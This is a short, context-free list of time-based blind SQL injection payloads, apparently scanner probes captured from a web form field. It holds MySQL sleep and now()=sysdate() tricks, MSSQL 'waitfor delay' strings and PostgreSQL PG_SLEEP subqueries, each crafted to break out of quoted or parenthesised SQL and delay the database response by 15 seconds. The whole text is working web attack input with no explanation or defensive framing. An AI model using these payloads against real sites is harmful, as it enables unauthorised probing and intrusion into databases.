Mr.

if(now()=sysdate(),sleep(15),0)

zDafF42f'; waitfor delay '0:0:15' --

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

lhCaB4No'); waitfor delay '0:0:15' --

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

kzKbKVv3')); waitfor delay '0:0:15' --

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

Jw070SWW' OR 657=(SELECT 657 FROM PG_SLEEP(15))--

-1; waitfor delay '0:0:15' --

jfLid5KN') OR 216=(SELECT 216 FROM PG_SLEEP(15))--